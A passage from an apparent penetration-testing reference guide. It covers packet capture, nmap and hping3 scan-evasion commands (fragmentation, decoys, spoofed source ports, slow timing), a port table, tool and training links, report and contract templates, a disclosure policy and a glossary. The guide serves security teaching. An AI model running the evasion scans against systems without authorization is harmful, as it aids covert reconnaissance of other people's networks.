wifite# Packet Capture
tcpdump -i eth0 -w capture.pcap
tcpdump -i eth0 -s 0 -A 'tcp port 80'
tshark -i eth0 -w capture.pcap
tshark -r capture.pcap -Y "http.request"
# Traffic Analysis
wireshark capture.pcap
tshark -r capture.pcap -z io,phs -q
tshark -r capture.pcap -z conv,ip -q
tcpflow -r capture.pcap
# Network Statistics
iptraf-ng
nethogs
iftop
bmon# Fragment Scanning
nmap -f -sS target.com
nmap --mtu 24 -sS target.com
# Decoy Scanning
nmap -D RND:10,ME target.com
# Source Port Manipulation
nmap -g 53 -sS target.com
hping3 -S -p 80 -s 53 target.com
# Timing Evasion
nmap -T0 -sS target.com
nmap --scan-delay 1s target.com| Port | Service | Protocol | Description |
|---|---|---|---|
| 20 | FTP-data | TCP | File Transfer Protocol data |
| 21 | FTP | TCP | File Transfer Protocol control |
| 22 | SSH | TCP | Secure Shell |
| 23 | Telnet | TCP | Telnet (unencrypted) |
| 25 | SMTP | TCP | Simple Mail Transfer Protocol |
| 53 | DNS | TCP/UDP | Domain Name System |
| 80 | HTTP | TCP | Hypertext Transfer Protocol |
| 110 | POP3 | TCP | Post Office Protocol v3 |
| 111 | RPC | TCP/UDP | Remote Procedure Call |
| 135 | RPC | TCP/UDP | Microsoft RPC |
| 137 | NetBIOS | UDP | NetBIOS Name Service |
| 138 | NetBIOS | UDP | NetBIOS Datagram Service |
| 139 | NetBIOS | TCP | NetBIOS Session Service |
| 143 | IMAP | TCP | Internet Message Access Protocol |
| 161 | SNMP | UDP | Simple Network Management Protocol |
| 162 | SNMP-trap | UDP | SNMP Traps |
| 389 | LDAP | TCP | Lightweight Directory Access Protocol |
| 443 | HTTPS | TCP | HTTP over SSL/TLS |
| 445 | SMB | TCP | Server Message Block |
| 465 | SMTPS | TCP | SMTP over SSL |
| 500 | ISAKMP | UDP | Internet Security Association Key Management Protocol |
| 514 | Syslog | UDP | System Logging |
| 520 | RIP | UDP | Routing Information Protocol |
| 587 | SMTP | TCP | SMTP (submission) |
| 631 | IPP | TCP | Internet Printing Protocol |
| 636 | LDAPS | TCP | LDAP over SSL |
| 873 | Rsync | TCP | Rsync file sync |
| 993 | IMAPS | TCP | IMAP over SSL |
| 995 | POP3S | TCP | POP3 over SSL |
| 1080 | SOCKS | TCP | SOCKS proxy |
| 1194 | OpenVPN | UDP | OpenVPN |
| 1433 | MSSQL | TCP | Microsoft SQL Server |
| 1434 | MSSQL | UDP | Microsoft SQL Monitor |
| 1521 | Oracle | TCP | Oracle Database |
| 1701 | L2TP | UDP | Layer 2 Tunneling Protocol |
| 1723 | PPTP | TCP | Point-to-Point Tunneling Protocol |
| 1883 | MQTT | TCP | MQTT (IoT) |
| 2049 | NFS | TCP/UDP | Network File System |
| 2082 | cPanel | TCP | cPanel default |
| 2083 | cPanel SSL | TCP | cPanel over SSL |
| 2086 | WHM | TCP | Web Host Manager |
| 2087 | WHM SSL | TCP | WHM over SSL |
| 2181 | ZooKeeper | TCP | Apache ZooKeeper |
| 2375 | Docker | TCP | Docker REST API (unencrypted) |
| 2376 | Docker | TCP | Docker REST API (encrypted) |
| 3128 | Squid | TCP | Squid proxy |
| 3306 | MySQL | TCP | MySQL Database |
| 3389 | RDP | TCP | Remote Desktop Protocol |
| 3690 | SVN | TCP | Subversion |
| 4369 | Erlang | TCP | Erlang Port Mapper |
| 4444 | Metasploit | TCP | Metasploit default listener |
| 4500 | IPSec | UDP | IPSec NAT-T |
| 4560 | Logstash | TCP | Logstash |
| 4567 | Sinatra | TCP | Sinatra default |
| 4569 | IAX2 | UDP | Asterisk IAX2 |
| 5000 | Flask | TCP | Flask development server |
| 5001 | Synology | TCP | Synology DSM |
| 5003 | FileMaker | TCP | FileMaker |
| 5038 | Asterisk | TCP | Asterisk Manager |
| 5040 | OSSEC | TCP | OSSEC |
| 5050 | MMCC | TCP | Multimedia Conference Control |
| 5060 | SIP | UDP | Session Initiation Protocol |
| 5061 | SIP-TLS | TCP | SIP over TLS |
| 5147 | OTRS | TCP | OTRS |
| 5151 | ESXi | TCP | VMware ESXi |
| 5222 | XMPP | TCP | XMPP Client |
| 5223 | XMPP | TCP | XMPP Client SSL |
| 5269 | XMPP | TCP | XMPP Server |
| 5432 | PostgreSQL | TCP | PostgreSQL Database |
| 5500 | VNC | TCP | VNC Listener |
| 5555 | ADB | TCP | Android Debug Bridge |
| 5601 | Kibana | TCP | Kibana |
| 5631 | pcAnywhere | TCP | Symantec pcAnywhere |
| 5632 | pcAnywhere | UDP | Symantec pcAnywhere |
| 5666 | Nagios | TCP | Nagios |
| 5667 | Nagios | TCP | Nagios |
| 5672 | RabbitMQ | TCP | RabbitMQ |
| 5683 | CoAP | UDP | Constrained Application Protocol |
| 5800 | VNC | TCP | VNC HTTP |
| 5900 | VNC | TCP | VNC |
| 5984 | CouchDB | TCP | Apache CouchDB |
| 6000 | X11 | TCP | X Window System |
| 6001 | X11 | TCP | X Window System |
| 6002 | X11 | TCP | X Window System |
| 6379 | Redis | TCP | Redis |
| 6667 | IRC | TCP | Internet Relay Chat |
| 6668 | IRC | TCP | Internet Relay Chat (SSL) |
| 6697 | IRC | TCP | IRC over SSL |
| 6881 | BitTorrent | TCP | BitTorrent |
| 6969 | BitTorrent | TCP | BitTorrent Tracker |
| 7000 | Cassandra | TCP | Apache Cassandra |
| 7001 | Cassandra | TCP | Apache Cassandra SSL |
| 7199 | Cassandra | TCP | Cassandra JMX |
| 8000 | HTTP-alt | TCP | HTTP Alternate |
| 8005 | Tomcat | TCP | Apache Tomcat |
| 8006 | VMware | TCP | VMware vCenter |
| 8008 | HTTP-alt | TCP | HTTP Alternate |
| 8009 | AJP | TCP | Apache JServ Protocol |
| 8010 | Zabbix | TCP | Zabbix |
| 8042 | Docker | TCP | Docker registry |
| 8069 | Odoo | TCP | Odoo |
| 8080 | HTTP-alt | TCP | HTTP Alternate (Tomcat, Jenkins) |
| 8081 | HTTP-alt | TCP | HTTP Alternate (Nexus) |
| 8082 | HTTP-alt | TCP | HTTP Alternate |
| 8083 | HTTP-alt | TCP | HTTP Alternate |
| 8084 | HTTP-alt | TCP | HTTP Alternate |
| 8085 | HTTP-alt | TCP | HTTP Alternate |
| 8086 | InfluxDB | TCP | InfluxDB |
| 8087 | Cassandra | TCP | Cassandra |
| 8088 | Hadoop | TCP | Hadoop |
| 8089 | Splunk | TCP | Splunk |
| 8090 | HTTP-alt | TCP | HTTP Alternate (Confluence) |
| 8091 | Couchbase | TCP | Couchbase |
| 8092 | Couchbase | TCP | Couchbase |
| 8100 | HTTP-alt | TCP | HTTP Alternate |
| 8123 | Polipo | TCP | Polipo proxy |
| 8161 | ActiveMQ | TCP | ActiveMQ |
| 8181 | HTTP-alt | TCP | HTTP Alternate (GlassFish) |
| 8200 | VMware | TCP | VMware vCenter |
| 8222 | VMware | TCP | VMware vCenter |
| 8300 | HTTP-alt | TCP | HTTP Alternate |
| 8332 | Bitcoin | TCP | Bitcoin JSON-RPC |
| 8333 | Bitcoin | TCP | Bitcoin |
| 8400 | HTTP-alt | TCP | HTTP Alternate |
| 8443 | HTTPS-alt | TCP | HTTPS Alternate (Tomcat SSL) |
| 8500 | HTTP-alt | TCP | HTTP Alternate |
| 8530 | Windows | TCP | Windows Deployment Services |
| 8531 | Windows | TCP | Windows Deployment Services SSL |
| 8649 | Ganglia | TCP | Ganglia |
| 8888 | HTTP-alt | TCP | HTTP Alternate (Jupyter, etc.) |
| 8983 | Solr | TCP | Apache Solr |
| 8990 | HTTP-alt | TCP | HTTP Alternate |
| 9000 | HTTP-alt | TCP | HTTP Alternate (Portainer, etc.) |
| 9001 | HTTP-alt | TCP | HTTP Alternate (Supervisor) |
| 9042 | Cassandra | TCP | Cassandra CQL |
| 9090 | HTTP-alt | TCP | HTTP Alternate (Prometheus, etc.) |
| 9092 | Kafka | TCP | Apache Kafka |
| 9100 | Printer | TCP | JetDirect printing |
| 9160 | Cassandra | TCP | Cassandra Thrift |
| 9200 | Elasticsearch | TCP | Elasticsearch |
| 9300 | Elasticsearch | TCP | Elasticsearch (transport) |
| 9418 | Git | TCP | Git |
| 9999 | HTTP-alt | TCP | HTTP Alternate |
| 10000 | Webmin | TCP | Webmin |
| 10050 | Zabbix | TCP | Zabbix Agent |
| 10051 | Zabbix | TCP | Zabbix Trapper |
| 11211 | Memcached | TCP/UDP | Memcached |
| 11214 | Memcached | TCP | Memcached |
| 11215 | Memcached | TCP | Memcached |
| 15672 | RabbitMQ | TCP | RabbitMQ Management |
| 16010 | HBase | TCP | HBase |
| 16020 | HBase | TCP | HBase |
| 16030 | HBase | TCP | HBase |
| 17000 | Docker | TCP | Docker |
| 18080 | HTTP-alt | TCP | HTTP Alternate |
| 19000 | HTTP-alt | TCP | HTTP Alternate |
| 19150 | HTTP-alt | TCP | HTTP Alternate |
| 20000 | DNP3 | TCP | Distributed Network Protocol |
| 20002 | HTTP-alt | TCP | HTTP Alternate |
| 21025 | Minecraft | TCP | Minecraft |
| 21320 | HTTP-alt | TCP | HTTP Alternate |
| 22000 | HTTP-alt | TCP | HTTP Alternate |
| 22222 | HTTP-alt | TCP | HTTP Alternate |
| 23023 | HTTP-alt | TCP | HTTP Alternate |
| 24007 | GlusterFS | TCP | GlusterFS |
| 24008 | GlusterFS | TCP | GlusterFS |
| 25565 | Minecraft | TCP | Minecraft |
| 27017 | MongoDB | TCP | MongoDB |
| 27018 | MongoDB | TCP | MongoDB |
| 27019 | MongoDB | TCP | MongoDB |
| 28015 | RethinkDB | TCP | RethinkDB |
| 28017 | MongoDB | TCP | MongoDB HTTP |
| 29015 | RethinkDB | TCP | RethinkDB |
| 30000 | HTTP-alt | TCP | HTTP Alternate |
| 31337 | Back Orifice | TCP | Back Orifice (hacking tool) |
| 32768 | RPC | TCP | RPC |
| 32769 | RPC | TCP | RPC |
| 32770 | RPC | TCP | RPC |
| 32771 | RPC | TCP | RPC |
| 32772 | RPC | TCP | RPC |
| 32773 | RPC | TCP | RPC |
| 32774 | RPC | TCP | RPC |
| 32775 | RPC | TCP | RPC |
| 32776 | RPC | TCP | RPC |
| 32777 | RPC | TCP | RPC |
| 32778 | RPC | TCP | RPC |
| 32779 | RPC | TCP | RPC |
| 32780 | RPC | TCP | RPC |
| 32781 | RPC | TCP | RPC |
| 32782 | RPC | TCP | RPC |
| 32783 | RPC | TCP | RPC |
| 32784 | RPC | TCP | RPC |
| 32785 | RPC | TCP | RPC |
| 32786 | RPC | TCP | RPC |
| 32787 | RPC | TCP | RPC |
| 32788 | RPC | TCP | RPC |
| 32789 | RPC | TCP | RPC |
| 32790 | RPC | TCP | RPC |
| 32791 | RPC | TCP | RPC |
| 32792 | RPC | TCP | RPC |
| 32793 | RPC | TCP | RPC |
| 32794 | RPC | TCP | RPC |
| 32795 | RPC | TCP | RPC |
| 32796 | RPC | TCP | RPC |
| 32797 | RPC | TCP | RPC |
| 32798 | RPC | TCP | RPC |
| 32799 | RPC | TCP | RPC |
| 32800 | RPC | TCP | RPC |
| Port | Service | Protocol | Description |
|---|---|---|---|
| 53 | DNS | UDP | Domain Name System |
| 67 | DHCP | UDP | DHCP Server |
| 68 | DHCP | UDP | DHCP Client |
| 69 | TFTP | UDP | Trivial File Transfer Protocol |
| 123 | NTP | UDP | Network Time Protocol |
| 137 | NetBIOS | UDP | NetBIOS Name Service |
| 138 | NetBIOS | UDP | NetBIOS Datagram Service |
| 161 | SNMP | UDP | Simple Network Management Protocol |
| 162 | SNMP-trap | UDP | SNMP Traps |
| 500 | ISAKMP | UDP | Internet Security Association Key Management Protocol |
| 514 | Syslog | UDP | System Logging |
| 520 | RIP | UDP | Routing Information Protocol |
| 1900 | SSDP | UDP | Simple Service Discovery Protocol |
| 4500 | IPSec | UDP | IPSec NAT-T |
| 5353 | mDNS | UDP | Multicast DNS |
| 5683 | CoAP | UDP | Constrained Application Protocol |
| 11211 | Memcached | UDP | Memcached |
| Name | URL | Description |
|---|---|---|
| CVE Details | https://www.cvedetails.com | Comprehensive CVE search |
| NVD | https://nvd.nist.gov | National Vulnerability Database |
| Exploit-DB | https://www.exploit-db.com | Public exploits |
| Packet Storm | https://packetstormsecurity.com | Security tools and papers |
| CXSECURITY | https://cxsecurity.com | Vulnerability database |
| Rapid7 DB | https://www.rapid7.com/db | Vulnerability database |
| VulDB | https://vuldb.com | Vulnerability database |
| CVE.org | https://cve.org | Official CVE list |
| Name | URL | Description |
|---|---|---|
| Nmap | https://nmap.org | Network scanner |
| Metasploit | https://www.metasploit.com | Exploitation framework |
| Burp Suite | https://portswigger.net/burp | Web security testing |
| Wireshark | https://www.wireshark.org | Packet analyzer |
| Kali Linux | https://www.kali.org | Penetration testing distribution |
| OWASP Tools | https://owasp.org/www-community/Free_for_Open_Source_Application_Security_Tools | OWASP tool listing |
| SecLists | https://github.com/danielmiessler/SecLists | Wordlists |
| BloodHound | https://github.com/BloodHoundAD/BloodHound | Active Directory mapping |
| Impacket | https://github.com/SecureAuthCorp/impacket | Network protocols |
| Name | URL | Description |
|---|---|---|
| OWASP | https://owasp.org | Web application security |
| SANS | https://www.sans.org | Security training |
| Cybrary | https://www.cybrary.it | Free security training |
| PentesterLab | https://pentesterlab.com | Hands-on exercises |
| HackTheBox | https://www.hackthebox.com | Penetration testing labs |
| TryHackMe | https://tryhackme.com | Guided learning |
| VulnHub | https://www.vulnhub.com | Vulnerable VMs |
| PortSwigger Web Security Academy | https://portswigger.net/web-security | Free web security training |
# Executive Summary
## Engagement Overview
- **Client:** [Client Name]
- **Assessment Date:** [Date]
- **Testers:** [Tester Names]
- **Scope:** [Scope Description]
## Risk Summary
| Severity | Count |
|----------|-------|
| Critical | [#] |
| High | [#] |
| Medium | [#] |
| Low | [#] |
| Informational | [#] |
## Key Findings
1. **[Finding Title]** - [Severity]
- **Impact:** [Brief impact description]
- **Recommendation:** [Brief recommendation]
2. **[Finding Title]** - [Severity]
- **Impact:** [Brief impact description]
- **Recommendation:** [Brief recommendation]
## Strategic Recommendations
- [Recommendation 1]
- [Recommendation 2]
- [Recommendation 3]
## Business Impact
[Description of potential business impact]
## Next Steps
1. Remediate critical and high findings within [timeframe]
2. Schedule remediation verification testing
3. Update security policies and procedures
4. Consider additional security controls# [Finding ID]: [Finding Title]
## Overview
- **Severity:** [Critical/High/Medium/Low/Info]
- **CVSS Score:** [Score] ([Vector])
- **Affected Assets:** [List of affected IPs/hosts]
- **Discovery Date:** [Date]
## Description
[Detailed description of the vulnerability]
## Proof of Concept[Commands, outputs, or screenshots demonstrating the vulnerability]
## Impact
[Detailed impact analysis]
## Remediation
### Immediate Fix
[Steps to immediately address the vulnerability]
### Long-term Solution
[Permanent fix recommendations]
## References
- [Reference 1]
- [Reference 2]
## Re-test Notes
[Results of verification testing after remediation]
# Penetration Testing Services Agreement
This Penetration Testing Services Agreement ("Agreement") is entered into as of [Date] by and between:
**Client:** [Client Name], [Address]
**Provider:** [Provider Name], [Address]
## 1. Scope of Services
Provider agrees to perform penetration testing services as described in Exhibit A (Statement of Work).
## 2. Testing Parameters
- **Target Systems:** [List of IPs/domains/systems]
- **Testing Period:** [Start Date] to [End Date]
- **Testing Hours:** [Hours]
- **Testing Methods:** [White box/Black box/Grey box]
## 3. Rules of Engagement
- Provider shall not perform denial of service attacks without explicit written permission
- Provider shall not modify or delete data
- Provider shall not exfiltrate sensitive data beyond proof of concept
- Provider shall immediately report any critical findings
- Provider shall maintain confidentiality of all findings
## 4. Deliverables
- Executive Summary
- Technical Report
- Remediation Guidance
- Raw Data and Logs
## 5. Confidentiality
Provider agrees to maintain strict confidentiality regarding:
- All client data accessed during testing
- Vulnerability findings
- Network architecture information
- Employee information
## 6. Liability and Indemnification
[Liability clauses]
## 7. Termination
[Termination clauses]
## 8. Acceptance and Signatures
**Client:**
________________________
Name:
Title:
Date:
**Provider:**
________________________
Name:
Title:
Date: # Responsible Disclosure Policy
## Introduction
[Company Name] is committed to maintaining the security of our systems and data. We welcome contributions from security researchers to help us identify and address potential vulnerabilities.
## Scope
This policy applies to:
- [Domain list]
- [IP ranges]
- [Applications]
The following are OUT OF SCOPE:
- [Excluded systems]
- [Excluded testing types]
## Guidelines
When conducting research, you must:
- Provide detailed reports with reproduction steps
- Make a good faith effort to avoid privacy violations
- Not access or modify data beyond proof of concept
- Not perform denial of service attacks
- Not exploit social engineering
- Not physically test facilities
## Reporting Process
1. Submit findings to [security@company.com]
2. Include detailed description and proof of concept
3. Allow [X] days for initial response
4. Allow [Y] days for remediation
5. Coordinate public disclosure
## Safe Harbor
[Company Name] will not pursue legal action against researchers who:
- Follow this policy
- Report findings in good faith
- Do not exploit findings beyond necessary proof
## Recognition
We offer:
- Public acknowledgment (with permission)
- Monetary rewards based on severity (see bug bounty program)
- Hall of fame inclusion
## Contact
Security Team: [email]
PGP Key: [key]
Bug Bounty Program: [URL]- ACK: Acknowledgment packet in TCP
- ACL: Access Control List
- ARP: Address Resolution Protocol
- AS: Autonomous System
- ASN: Autonomous System Number
- BGP: Border Gateway Protocol
- BPDU: Bridge Protocol Data Unit
- BYOD: Bring Your Own Device
- CAM: Content Addressable Memory
- CDP: Cisco Discovery Protocol
- CIDR: Classless Inter-Domain Routing
- CNAME: Canonical Name record
- CSRF: Cross-Site Request Forgery
- CVE: Common Vulnerabilities and Exposures
- CVSS: Common Vulnerability Scoring System
- DDoS: Distributed Denial of Service
- DHCP: Dynamic Host Configuration Protocol
- DMI: Desktop Management Interface
- DMZ: Demilitarized Zone
- DNS: Domain Name System
- DTP: Dynamic Trunking Protocol
- EAP: Extensible Authentication Protocol
- ECMP: Equal-Cost Multi-Path
- EDNS: Extension Mechanisms for DNS
- ESP: Encapsulating Security Payload
- FTP: File Transfer Protocol
- FIN: Finish flag in TCP
- GARP: Gratuitous ARP
- GRE: Generic Routing Encapsulation
- HOL: Head-of-Line blocking
- HSTS: HTTP Strict Transport Security
- HTTP: Hypertext Transfer Protocol
- HTTPS: HTTP Secure
- ICMP: Internet Control Message Protocol
- IDS: Intrusion Detection System
- IKE: Internet Key Exchange
- IMAP: Internet Message Access Protocol
- IoT: Internet of Things
- IP: Internet Protocol
- IPS: Intrusion Prevention System
- IPsec: IP Security
- IPv4: Internet Protocol version 4
- IPv6: Internet Protocol version 6
- ISN: Initial Sequence Number
- JA3: TLS fingerprinting method
- KDC: Key Distribution Center
- L2TP: Layer 2 Tunneling Protocol
- LACP: Link Aggregation Control Protocol
- LDAP: Lightweight Directory Access Protocol
- LLDP: Link Layer Discovery Protocol
- LSA: Link State Advertisement
- MAC: Media Access Control
- MIB: Management Information Base
- MITM: Man-in-the-Middle
- MLD: Multicast Listener Discovery
- MTU: Maximum Transmission Unit
- MX: Mail Exchange record
- NAC: Network Access Control
- NAT: Network Address Translation
- NetBIOS: Network Basic Input/Output System
- NFS: Network File System
- NIC: Network Interface Card
- Nmap: Network Mapper
- NTP: Network Time Protocol
- OS: Operating System
- OSI: Open Systems Interconnection
- OSPF: Open Shortest Path First
- OT: Operational Technology
- P2P: Peer-to-Peer
- PAT: Port Address Translation
- PCAP: Packet Capture
- POP3: Post Office Protocol version 3
- PPP: Point-to-Point Protocol
- PPTP: Point-to-Point Tunneling Protocol
- PSK: Pre-Shared Key
- PTR: Pointer record
- QoS: Quality of Service
- QUIC: Quick UDP Internet Connections
- RADIUS: Remote Authentication Dial-In User Service
- RARP: Reverse ARP
- RDP: Remote Desktop Protocol
- RIP: Routing Information Protocol
- RPC: Remote Procedure Call
- RPKI: Resource Public Key Infrastructure
- RST: Reset flag in TCP
- RTT: Round-Trip Time
- SACK: Selective Acknowledgment
- SCADA: Supervisory Control and Data Acquisition
- SDN: Software-Defined Networking
- SMB: Server Message Block
- SMTP: Simple Mail Transfer Protocol
- SNMP: Simple Network Management Protocol
- SOA: Start of Authority record
- SQL: Structured Query Language
- SSDP: Simple Service Discovery Protocol
- SSH: Secure Shell
- SSL: Secure Sockets Layer
- STP: Spanning Tree Protocol
- SYN: Synchronize flag in TCP
- TCP: Transmission Control Protocol
- TLS: Transport Layer Security
- TTL: Time to Live
- TTY: Teletype
- TXT: Text record
- UDP: User Datagram Protocol
- UEFI: Unified Extensible Firmware Interface
- UPnP: Universal Plug and Play
- URI: Uniform Resource Identifier
- URL: Uniform Resource Locator
- VLAN: Virtual Local Area Network
- VNC: Virtual Network Computing
- VoIP: Voice over IP
- VPN: Virtual Private Network
- VXLAN: Virtual Extensible LAN
- WAF: Web Application Firewall
- WEP: Wired Equivalent Privacy
- WPA: Wi-Fi Protected Access
- WPS: Wi-Fi Protected Setup
- X.509: Standard for public key certificates
- XSS: Cross-Site Scripting
- XXE: XML External Entity
- YARA: Pattern matching tool
- Zero-day: Previously unknown vulnerability
- Zero Trust: Security model requiring verification for all access
- Zombie: Compromised system used in DDoS attacks
-
"The Web Application Hacker's Handbook" by Stuttard and Pinto
- Comprehensive guide to web application security testing
-
"Network Security Assessment" by Chris McNab
- Detailed guide to assessing network infrastructure security
-
"Practical Packet Analysis" by Chris Sanders
- Guide to using Wireshark for network analysis
-
"Metasploit: The Penetration Tester's Guide" by Kennedy et al.
- Comprehensive guide to the Metasploit framework
-
"Hacking: The Art of Exploitation" by Jon Erickson
- Deep dive into exploitation techniques
-
"TCP/IP Illustrated" by Stevens et al.
- Comprehensive guide to TCP/IP protocols
-
"Penetration Testing: A Hands-On Introduction to Hacking" by Georgia Weidman
- Practical introduction to penetration testing
-
"The Tangled Web" by Michal Zalewski
- Advanced web application security concepts
-
"Practical Malware Analysis" by Sikorski and Honig
- Guide to analyzing malicious software
-
"Blue Team Handbook" by Don Murdoch
- Incident response and network defense
- RFC 791: Internet Protocol
- RFC 793: Transmission Control Protocol
- RFC 768: User Datagram Protocol
- RFC 792: Internet Control Message Protocol
- RFC 1034/1035: Domain Name System
- RFC 2616: HTTP/1.1
- RFC 5246: TLS 1.2
- RFC 8446: TLS 1.3
- RFC 2131: DHCP
- RFC 2328: OSPFv2
- RFC 4271: BGP-4
- RFC 2544: Network device benchmarking
- "A Look Back at the TCP/IP Stack" - Historical perspective
- "DNS Rebinding Attacks" - Stanford University research
- "HTTP Request Smuggling" - Original research by Chaim Linhart
- "Padding Oracles" - Research by Rizzo and Duong
- "The Spy in the Sandbox" - Side-channel attacks
- SANS SEC560: Network Penetration Testing
- Offensive Security PWK: OSCP preparation
- eLearnSecurity eCPPT: Professional penetration testing
- Cybrary: Free security training
- Coursera: Various security courses
- Udemy: Practical security courses
- Nmap Reference Guide: https://nmap.org/docs.html
- Wireshark User Guide: https://www.wireshark.org/docs/
- Metasploit Documentation: https://docs.rapid7.com/metasploit/
- Burp Suite Documentation: https://portswigger.net/burp/documentation
- OWASP Projects: https://owasp.org/projects/
This guide represents thousands of hours of practical experience, research, and community knowledge. It is designed to be a living document that grows with the security community. Use it wisely, share it freely, and always test with permission.
Remember: The goal of security testing is to make systems more secure. Always act ethically, professionally, and with respect for the systems and people you're testing.